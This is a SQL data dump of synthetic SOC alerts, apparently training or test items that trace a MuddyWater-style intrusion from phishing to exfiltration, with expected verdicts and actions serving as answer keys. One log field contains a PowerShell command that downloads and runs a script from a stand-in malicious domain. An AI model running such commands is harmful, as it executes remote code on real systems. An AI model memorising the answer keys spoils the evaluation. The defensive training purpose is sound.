(1335, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email was detected aimed at gaining an initial foothold into the telecommunications network. The email contains a malicious attachment believed to be associated with the MuddyWater APT group.', 'Initial Access', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:00Z\",\"email_id\":\"1234567890abcdef\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.5\",\"sender_email\":\"attacker@maliciousdomain.com\",\"recipient_email\":\"victim@telecomnetwork.com\",\"subject\":\"Urgent: Invoice Attached\",\"attachment\":{\"filename\":\"invoice_details.docm\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"},\"detected_malware\":\"MuddyWater\",\"action_taken\":\"Email quarantined\"}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Email associated with phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known MuddyWater malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.828Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1336, 'Execution of Malicious PowerShell Script', 'high', 'Endpoint Detection and Response (EDR) Systems', 'A PowerShell script was executed on the host system to download and run a backdoor, associated with the MuddyWater APT group. This script execution is part of a post-compromise activity aimed at maintaining persistence and enabling further malicious actions within the network.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:56:23Z\",\"event_id\":\"4624\",\"computer_name\":\"DESKTOP-8D7KJH5\",\"user\":\"jdoe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\script.ps1\",\"script_content\":\"IEX (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/backdoor.ps1\')\",\"internal_ip\":\"10.0.0.15\",\"external_ip\":\"203.0.113.45\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"script.ps1\"}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with MuddyWater APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with suspicious PowerShell scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Domain linked to malware distribution.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in PowerShell attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account used to execute the script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1337, 'Establishment of Persistent Backdoor', 'high', 'System Logs', 'MuddyWater has leveraged its custom C2 framework to install a persistent backdoor, ensuring long-term access. The backdoor was deployed using a malicious script that altered system configurations for persistence.', 'Persistence', 'TA0003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:44Z\",\"event_type\":\"system_modification\",\"system_user\":\"svc_backup\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\backdoor.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"registry_change\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\backdoor\",\"action\":\"create_persistence\"}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 IP associated with MuddyWater operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Compromised internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with MuddyWater backdoor variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File System Analysis\",\"verdict\":\"malicious\",\"details\":\"File identified as a persistent backdoor.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"svc_backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Account Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Service account used in unauthorized activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:44Z\\\",\\\"event_type\\\":\\\"system_modification\\\",\\\"system_user\\\":\\\"svc_backup\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\etc\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_change\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\backdoor\\\",\\\"action\\\":\\\"create_persistence\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1338, 'Unauthorized Access to Internal Network', 'high', 'Network Traffic Analysis', 'With persistence established, MuddyWater begins lateral movement, exploiting vulnerabilities to reach critical network segments. The attacker used stolen credentials to attempt access to sensitive telecommunications infrastructure.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event\":\"lateral_movement\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"protocol\":\"SMB\",\"username\":\"jdoe\",\"filename\":\"\\\\\\\\192.168.1.45\\\\sensitive_data\\\\telecom_infra.docx\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"attempt_access\",\"outcome\":\"success\",\"related_alerts\":[\"APT_MW-001\",\"APT_MW-002\"]}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with MuddyWater APT.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network segment.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"User credentials suspected to be compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used by MuddyWater APT.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1339, 'Data Exfiltration Detected', 'critical', 'Data Loss Prevention (DLP) Systems', 'The final stage of the operation sees MuddyWater exfiltrating valuable data, completing their attack chain and achieving their malicious goals. Data has been exfiltrated from the telecommunications network to external servers.', 'Exfiltration', 'T1020: Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:54Z\",\"event_type\":\"exfiltration_attempt\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.10\",\"protocol\":\"HTTPS\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_name\":\"confidential_project_data.zip\",\"user\":\"jdoe\",\"action\":\"file_transfer\",\"result\":\"success\",\"detection_system\":\"DLP\"}', '2026-03-01 22:56:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with data exfiltration activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known data stealing tool\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_project_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_file_scan\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data archive being transferred externally\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_database\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:54Z\\\",\\\"event_type\\\":\\\"exfiltration_attempt\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.10\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"confidential_project_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"result\\\":\\\"success\\\",\\\"detection_system\\\":\\\"DLP\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1340, 'Suspicious Spear Phishing Email Detected', 'high', 'Email Gateway Logs', 'A spear phishing email was detected targeting an employee with a malicious link. The email originated from an external IP and contained a suspicious file attachment.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:23Z\",\"email_id\":\"f123abc456@malicious.com\",\"source_ip\":\"203.0.113.45\",\"destination_email\":\"employee@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":\"invoice_2023.docx\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_link\":\"http://malicious-example.com/login\",\"internal_ip\":\"10.0.5.23\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"f123abc456@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address used in known phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware known as \'APT PhishDoc\'.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-example.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Phishing Database\",\"verdict\":\"malicious\",\"details\":\"URL is a phishing site attempting to steal credentials.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Spear Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.836Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1341, 'Execution of DanBot Malware', 'critical', 'Endpoint Detection and Response (EDR)', 'Upon clicking the link, the malicious payload is executed, establishing a foothold with DanBot malware.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_type\":\"process_creation\",\"host\":{\"hostname\":\"compromised-host\",\"ip\":\"10.0.1.5\"},\"user\":\"jdoe\",\"process\":{\"pid\":3482,\"name\":\"cmd.exe\",\"command_line\":\"cmd.exe /c start C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\danbot.exe\"},\"file\":{\"path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\danbot.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"size\":204800},\"network\":{\"connections\":[{\"remote_ip\":\"198.51.100.23\",\"remote_port\":443,\"protocol\":\"TCP\"}]}}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 infrastructure for DanBot.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as DanBot malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Valid internal user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1342, 'Establishment of Persistence Mechanisms', 'high', 'System Registry Logs', 'The malware modifies registry settings to maintain persistence, ensuring it survives system reboots. The modification was detected in the Windows registry, where a new startup key was added pointing to a malicious executable.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:32:45Z\",\"event_type\":\"Registry Modification\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"modified_value\":\"C:\\\\Windows\\\\System32\\\\malicious_executable.exe\",\"user\":\"COMPROMISED_USER\",\"source_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"file_hash\":\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\",\"username\":\"admin_user\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised 